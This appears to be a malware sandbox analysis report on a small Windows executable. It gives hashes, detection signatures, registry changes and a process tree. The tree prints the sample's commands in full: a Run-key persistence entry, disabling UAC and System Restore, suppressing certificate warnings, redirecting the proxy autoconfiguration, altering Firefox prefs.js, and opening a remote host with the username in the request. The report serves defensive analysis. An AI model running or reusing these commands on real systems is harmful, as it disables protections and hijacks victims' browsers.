Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
137s -
max time network
134s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
23/01/2024, 17:17
Behavioral task
behavioral1
Sample
701e8508940b27e0b6f25ad054299679.exe
Resource
win7-20231215-en
General
-
Target
701e8508940b27e0b6f25ad054299679.exe
-
Size
23KB
-
MD5
701e8508940b27e0b6f25ad054299679
-
SHA1
e0a02e3fb6a107b265dc8555224feb5dbc66df54
-
SHA256
eb052448c64afaf6802f6a20f8f01f613c6d292caaa506d89c885255fee277bc
-
SHA512
1704857f4c5f656ddc969040b88d0562fba348ef1af4a1b30991a3e2ec77307e3d640e3d2ea9e46d4719037815d6484d5939a74eb2f86243a8ab545e4a29fabc
-
SSDEEP
384:zSdr9sOcIp6wRcsSYLvKWLWbstQTid6HJyraXkqdkJ7PNWo7/tiX1HaNJawcudo2:zSFmOhplcsHvKWzX6HJmFqda7kortjng
Malware Config
Signatures
-
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral1/memory/2644-0-0x0000000000400000-0x0000000000414000-memory.dmp upx behavioral1/memory/2644-172-0x0000000000400000-0x0000000000414000-memory.dmp upx -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ActiveX Update = "C:\\Users\\Admin\\AppData\\Local\\Temp\\AxUpdateMS.exe" reg.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
description ioc Process Set value (data) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c00000000000000010000000083ffff0083ffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "412192123" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{4BA02721-BA13-11EE-AD08-DED0D00124D2} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000d80bef292bee784c8e3c940d61fdfeb80000000002000000000010660000000100002000000013032c8e76cc1e4ff719e69a4c65741890d8a46d37f0b8b143cd69da1f4b30ad000000000e80000000020000200000001e30e3de0043e0c607243fce76f498e8f5e5f5f5fc5ffded1f4802ff48e381a42000000060df2e916de53624521d4a81996be58cd8c723eab98c3172fced9f5b45247f574000000055270c7bfd13f3c20e1cb049c83a0438a09d192b85eb2315b73943e0043be88652f2262934a5cd1bad5675671dc39707d9d92784e7d052e58858c20f2ebc6f17 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 0028a420204eda01 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000d80bef292bee784c8e3c940d61fdfeb800000000020000000000106600000001000020000000cbf26454b158f399818a82b72effc9e8aa4f6cc89ba83d4d04db67c3a78a1ccd000000000e80000000020000200000003949c995cf762af9ae5fe611c53abd0ac402ced15b8c6056804f446738f5c4a9900000007d5cc78aa3653ebb9a41e4017e49627856fbd7e3c8c4fbd7206672d144d45d131f665d1a097912d0af22dceb6c357cdacf9edb4809f858680c9a1f2fd83f8898a987cdcdb24b66292012111369e9752f1c2a08c1c82ecda815bc8ec608f2b4bda5ab72f58dc26b7172b1c71dd4432dad8254cf3853ee4b90a9940fbb81ea431dc181e433f90a7a1508ec3427e2e73a8d40000000d772269b20f5df94853ce7d45d72093a3e4d0953bec503b1102f844dd9ebdd04dc16cc67483675e3021658c578716a8eb01ce0f4c7272f581a80e35b70fb91d7 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\SearchScopes iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe -
Runs ping.exe 1 TTPs 2 IoCs
pid Process 2744 PING.EXE 2236 PING.EXE -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2808 iexplore.exe -
Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 2808 iexplore.exe 2808 iexplore.exe 2460 IEXPLORE.EXE 2460 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2644 wrote to memory of 1528 2644 701e8508940b27e0b6f25ad054299679.exe 28 PID 2644 wrote to memory of 1528 2644 701e8508940b27e0b6f25ad054299679.exe 28 PID 2644 wrote to memory of 1528 2644 701e8508940b27e0b6f25ad054299679.exe 28 PID 2644 wrote to memory of 1528 2644 701e8508940b27e0b6f25ad054299679.exe 28 PID 1528 wrote to memory of 2908 1528 cmd.exe 30 PID 1528 wrote to memory of 2908 1528 cmd.exe 30 PID 1528 wrote to memory of 2908 1528 cmd.exe 30 PID 1528 wrote to memory of 2908 1528 cmd.exe 30 PID 1528 wrote to memory of 2716 1528 cmd.exe 31 PID 1528 wrote to memory of 2716 1528 cmd.exe 31 PID 1528 wrote to memory of 2716 1528 cmd.exe 31 PID 1528 wrote to memory of 2716 1528 cmd.exe 31 PID 1528 wrote to memory of 2808 1528 cmd.exe 32 PID 1528 wrote to memory of 2808 1528 cmd.exe 32 PID 1528 wrote to memory of 2808 1528 cmd.exe 32 PID 1528 wrote to memory of 2808 1528 cmd.exe 32 PID 1528 wrote to memory of 2744 1528 cmd.exe 33 PID 1528 wrote to memory of 2744 1528 cmd.exe 33 PID 1528 wrote to memory of 2744 1528 cmd.exe 33 PID 1528 wrote to memory of 2744 1528 cmd.exe 33 PID 1528 wrote to memory of 2728 1528 cmd.exe 34 PID 1528 wrote to memory of 2728 1528 cmd.exe 34 PID 1528 wrote to memory of 2728 1528 cmd.exe 34 PID 1528 wrote to memory of 2728 1528 cmd.exe 34 PID 1528 wrote to memory of 2576 1528 cmd.exe 35 PID 1528 wrote to memory of 2576 1528 cmd.exe 35 PID 1528 wrote to memory of 2576 1528 cmd.exe 35 PID 1528 wrote to memory of 2576 1528 cmd.exe 35 PID 2576 wrote to memory of 2236 2576 cmd.exe 36 PID 2576 wrote to memory of 2236 2576 cmd.exe 36 PID 2576 wrote to memory of 2236 2576 cmd.exe 36 PID 2576 wrote to memory of 2236 2576 cmd.exe 36 PID 2576 wrote to memory of 2828 2576 cmd.exe 37 PID 2576 wrote to memory of 2828 2576 cmd.exe 37 PID 2576 wrote to memory of 2828 2576 cmd.exe 37 PID 2576 wrote to memory of 2828 2576 cmd.exe 37 PID 2808 wrote to memory of 2460 2808 iexplore.exe 38 PID 2808 wrote to memory of 2460 2808 iexplore.exe 38 PID 2808 wrote to memory of 2460 2808 iexplore.exe 38 PID 2808 wrote to memory of 2460 2808 iexplore.exe 38 PID 1528 wrote to memory of 2324 1528 cmd.exe 39 PID 1528 wrote to memory of 2324 1528 cmd.exe 39 PID 1528 wrote to memory of 2324 1528 cmd.exe 39 PID 1528 wrote to memory of 2324 1528 cmd.exe 39 PID 1528 wrote to memory of 2256 1528 cmd.exe 40 PID 1528 wrote to memory of 2256 1528 cmd.exe 40 PID 1528 wrote to memory of 2256 1528 cmd.exe 40 PID 1528 wrote to memory of 2256 1528 cmd.exe 40 PID 1528 wrote to memory of 2312 1528 cmd.exe 41 PID 1528 wrote to memory of 2312 1528 cmd.exe 41 PID 1528 wrote to memory of 2312 1528 cmd.exe 41 PID 1528 wrote to memory of 2312 1528 cmd.exe 41 PID 1528 wrote to memory of 2264 1528 cmd.exe 42 PID 1528 wrote to memory of 2264 1528 cmd.exe 42 PID 1528 wrote to memory of 2264 1528 cmd.exe 42 PID 1528 wrote to memory of 2264 1528 cmd.exe 42 PID 1528 wrote to memory of 2148 1528 cmd.exe 43 PID 1528 wrote to memory of 2148 1528 cmd.exe 43 PID 1528 wrote to memory of 2148 1528 cmd.exe 43 PID 1528 wrote to memory of 2148 1528 cmd.exe 43 PID 1528 wrote to memory of 2196 1528 cmd.exe 44 PID 1528 wrote to memory of 2196 1528 cmd.exe 44 PID 1528 wrote to memory of 2196 1528 cmd.exe 44 PID 1528 wrote to memory of 2196 1528 cmd.exe 44 -
Views/modifies file attributes 1 TTPs 3 IoCs
pid Process 1620 attrib.exe 2356 attrib.exe 1872 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\701e8508940b27e0b6f25ad054299679.exe"C:\Users\Admin\AppData\Local\Temp\701e8508940b27e0b6f25ad054299679.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2644 -
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\76C5.tmp\Untitled.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:1528 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:2908
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "ActiveX Update" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\AxUpdateMS.exe"3⤵
- Adds Run key to start application
PID:2716
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" "juju.firepackets.org/ads.php?a=Admin&b=QVMRJQQO"3⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2808 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2808 CREDAT:275457 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2460
-
-
-
C:\Windows\SysWOW64\PING.EXEC:\Windows\system32\ping.exe www.google.com.br -n 1 -l 13⤵
- Runs ping.exe
PID:2744
-
-
C:\Windows\SysWOW64\find.exefind "TTL"3⤵PID:2728
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Windows\system32\ping.exe ju.firepackets.org -l 1 -n 1 | C:\Windows\system32\find.exe "TTL"3⤵
- Suspicious use of WriteProcessMemory
PID:2576 -
C:\Windows\SysWOW64\PING.EXEC:\Windows\system32\ping.exe ju.firepackets.org -l 1 -n 14⤵
- Runs ping.exe
PID:2236
-
-
C:\Windows\SysWOW64\find.exeC:\Windows\system32\find.exe "TTL"4⤵PID:2828
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:2324
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "AutoConfigUrl" /d "file://C:\Users\Admin\AppData\Local\Temp/KB_QVMRJQQO.txt" /f3⤵PID:2256
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:2312
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "EnableHttp1_1" /t reg_dword /d 00000001 /f3⤵PID:2264
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:2148
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyEnable" /t reg_dword /d 00000000 /f3⤵PID:2196
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:2748
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyHttp1.1" /t reg_dword /d 00000000 /f3⤵PID:2912
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:2192
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "AdvancedTab" /t reg_dword /d 00000001 /f3⤵PID:1580
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:2080
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "ResetWebSettings" /t reg_dword /d 00000001 /f3⤵PID:1920
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:2380
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "Autoconfig" /t reg_dword /d 00000001 /f3⤵PID:828
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:2128
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "AutoConfigUrl" /d "file://C:\Users\Admin\AppData\Local\Temp/KB_QVMRJQQO.txt" /f3⤵PID:2936
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:436
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "EnableHttp1_1" /t reg_dword /d 00000001 /f3⤵PID:2464
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:3040
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyEnable" /t reg_dword /d 00000000 /f3⤵PID:1524
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1520
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyHttp1.1" /t reg_dword /d 00000000 /f3⤵PID:1052
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1284
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe add "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "Autoconfig" /t reg_dword /d 00000001 /f3⤵PID:1376
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1712
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe add "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "AdvancedTab" /t reg_dword /d 00000001 /f3⤵PID:1544
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1080
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe add "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "ResetWebSettings" /t reg_dword /d 00000001 /f3⤵PID:1008
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1536
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 00000000 /f3⤵
- UAC bypass
PID:1696
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c dir "\Users\Admin\.." /b /s | find "prefs.js"3⤵PID:368
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" dir "\Users\Admin\.." /b /s "4⤵PID:1984
-
-
C:\Windows\SysWOW64\find.exefind "prefs.js"4⤵PID:1304
-
-
-
C:\Windows\SysWOW64\attrib.exeattrib.exe -r "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\kzcnpuah.default-release\prefs.js "3⤵
- Views/modifies file attributes
PID:1620
-
-
C:\Windows\SysWOW64\attrib.exeattrib.exe -r "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\kzcnpuah.default-release\prefs.js "3⤵
- Views/modifies file attributes
PID:2356
-
-
C:\Windows\SysWOW64\attrib.exeattrib.exe +r "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\kzcnpuah.default-release\prefs.js "3⤵
- Views/modifies file attributes
PID:1872
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe export HKU C:\Users\Admin\AppData\Local\Temp\~r.tmp3⤵PID:1768
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" type C:\Users\Admin\AppData\Local\Temp\~r.tmp "3⤵PID:1980
-
-
C:\Windows\SysWOW64\find.exeC:\Windows\system32\find.exe "Internet Explorer\Main"3⤵PID:2000
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c type C:\Users\Admin\AppData\Local\Temp\~i.tmp | C:\Windows\system32\find.exe "S-1-5-21"3⤵PID:3028
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" type C:\Users\Admin\AppData\Local\Temp\~i.tmp "4⤵PID:2900
-
-
C:\Windows\SysWOW64\find.exeC:\Windows\system32\find.exe "S-1-5-21"4⤵PID:2232
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:3020
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe add "HKU\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "WarnonBadCertRecving" /t REG_DWORD /d "0x00000000" /f3⤵PID:1632
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1812
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe add "HKU\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "WarnOnIntranet" /t REG_DWORD /d "0x00000000" /f3⤵PID:2328
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe add "HKU\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap" /v "AutoDetect" /t REG_DWORD /d "0x00000000" /f3⤵PID:564
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:2648
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1168
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 0x00000001 /f3⤵PID:988
-
-
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD59a4aac0b6d4d3f84d9de7182ab8a6a80
SHA1ef15d18ab9aa306f453a5d8e37d52c41fe089c79
SHA256687961127c4bed37261bc70501d9e55e7f10b1a061f62e196164ceba24811eb9
SHA512879eab26328dbcba0518faa9e958ae9acba2517194e39e38e73b9567eae0c3454fbe75e42fc460d5e052abbe55b0e515e455fd8bb7e96a85fef2faadef080f20
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD5d133db4d076be22ca3495505ec604783
SHA11fe5a142a89041ecd2c985f1f9e065730f479eff
SHA2567c0f68dbc70549f3753de200f5961ee3395943c1cde7ecd88dd5e946f6ffaf0e
SHA512b099cbef9e945bf0c18aca545a43288b4ee900243e25ae6188ac5bc59615d19f6a2d38a66b775d0260dc00c5213e61bcdf9af34235040e4f5428eaf95ad4eeeb
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD50d78adcd11d42f8ee90ceb4c47d5272a
SHA1a49320bf1fe877b69d9dfb61395c0747a822ca02
SHA256ff0e39007804410f35e3d534245ddd65ab0cfe5c8f9bb2c0374f3e17d7a0d6f9
SHA512430396371d79f5f5676c2dfba4054fe542c371138a726fd3fecbae63dd36ca34cec1d0f11b14c1ca27783c99a264dbbc8ef258591ba9e4f9b456f0bdcf970b93
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD5796c5d28499731f7583842c78bf1d966
SHA17c75841447bd5baa1834a5461fad74fc48450e6d
SHA256dbfd3162265a9fe1541bf1fcdeeb4b2bf8ea58fef315908ee253bf4334fd2399
SHA51224b923d17a0da8df4128060dfa351c922cb8b2b9f46672855ed3646f604971d4408c8c2fca0db2d869b23ee04cc2e045230057e6f07c563c3cb46935d307909c
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD58841c553078d2b16125f9ffcd40975ad
SHA1916a31a65d92c55f2b1afe716b7400488c648a66
SHA256f1ed6300582cb667debf91ed196e1fd85731b4a31b6334cf52cb57d833b0073c
SHA512d264e60c222dde8f3bef6ad4c7162e43ad826677c576a69f83283f79bf483e9c147f2bc4dc20d596cbe65f82c33e34bf8d92f75efa5fda27406399f6d27d61e5
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD56c4b78cd539302ac2c8b753c695c1f4f
SHA1069d22d2f184dae4763e1f1c77d415a1318ee86b
SHA256482256f332809d6a851fbcf181a0b2024a1cbdb1a624ed5ac467cc37682525ce
SHA512459a17c356c2d2ee62fcd3968866a3afb879f988a706d2ed1534f09ce68bf7cbbafa343c58d618cc70d2c6c27ee0f9df546aba451df0e4f54de72eb7f9b94c96
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD5ebc34aecee63a017d6be734bb542a792
SHA1a264a48604a735727ea4dbfc621005dfa0105a97
SHA256c72dfb3bb54ce5f724d157a41077475b48bd734cd7da88be11d9f3723d7f5168
SHA51240993578aafee24582cc83a6df6de2033f10098345121774659043a528be347a4b456d6127305b2afec7eabb5337cd6c2f679923850201eb8369712529649f0c
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD576b27e6c7221a681916a09c15520d43a
SHA1e1211f089587f909bd3c727956ebf278cee168ae
SHA256d3f538bc98c95459807b1c7ef64d31210718e51fe64c137885bf89a46e8abfed
SHA51232fa8b8de142a9b9844a06d30b0e19ce8bb3d3ff1a0c2dd7d6ca7bfe8ee8a14058f45909e1af3fe51b59bcf5afba7c633c66712d2844cb02269c16dfe477c3e8
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD53607d613cef4c46c867d98f1e9d513cb
SHA18b1658ef5cf703f5b83a644af8e4666ab4eaddfb
SHA2569e4154f82597f79936889f6f9c1e80f2594b4c696f40fa71543a1b7a2dc55844
SHA5125451994c2e5a6fb375102ae999b3d72a428acdac175574c96ff28eb94090e1b0bea638f807bc3fcf7de2f0307a92cb8ebce254f5c7bc7bacc84439a50b4439d6
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD55ea8244758ed6b96ba1590e7abcb81b8
SHA1ea327330c253939f07919219e613306638d66f3c
SHA2565416d2ec7b77407b7562ac50db9941e22bd952c07847dfb78efd8c0406c8b5db
